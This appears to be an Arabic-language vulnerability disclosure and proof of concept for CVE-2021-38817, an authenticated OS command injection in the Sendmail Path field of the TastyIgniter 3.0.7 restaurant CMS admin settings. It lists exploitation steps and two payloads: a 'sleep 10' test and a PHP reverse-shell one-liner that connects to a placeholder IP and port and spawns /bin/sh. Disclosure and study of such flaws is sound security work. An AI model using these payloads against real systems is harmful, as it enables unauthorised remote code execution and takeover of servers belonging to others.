CVE-2021-38817-Remote-OS-Command-Injection

حقن أوامر نظام التشغيل عن بُعد/تنفيذ كود عن بُعد بعد المصادقة في مكوّن Sendmail الخاص بالويب في TastyIgniter الإصدار 3.0.7 (CVE-2021-38817)

توجد ثغرة حقن أوامر نظام تشغيل عن بُعد تتطلب المصادقة في قائمة إعدادات Sendmail الخاصة بنظام إدارة المحتوى (CMS) للمطاعم TastyIgniter الإصدار 3.0.7 لتطبيق الويب. لا يتم تطهير معامل Sendmail Path بشكل صحيح، كما يتضح من الأمر /usr/sbin/sendmail -bs المعبأ في الحقل، ويسمح بحقن أمر تعسفي بإضافة فاصلة منقوطة وأمر نظام تشغيل إضافي.

المكونات المتأثرة

الرابط: /admin/settings/edit/mail

الحقل:

• بروتوكول البريد: Sendmail
• الحقل: مسار Sendmail

إثبات المفهوم

• قم بالمصادقة على بوابة /admin باستخدام بيانات الاعتماد.
• انتقل إلى /admin/settings/edit/mail
• في القائمة المنسدلة Mail Protocol، اختر Sendmail
• في الحقل الجديد SendMail Path، أضف فاصلة منقوطة وأمر نظام تشغيل تعسفي، أي /usr/sbin/sendmail -bs; sleep 10

الحمولات

• /usr/sbin/sendmail -bs; sleep 10
• /usr/sbin/sendmail -bs; php -r '$sock=fsockopen("[IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'

اكتُشف بواسطة

Matt Kiely (HuskyHacks) وMike Padrick (Fearless)، أغسطس 2021

تم تعيين CVE في أكتوبر 2022 (lmfao)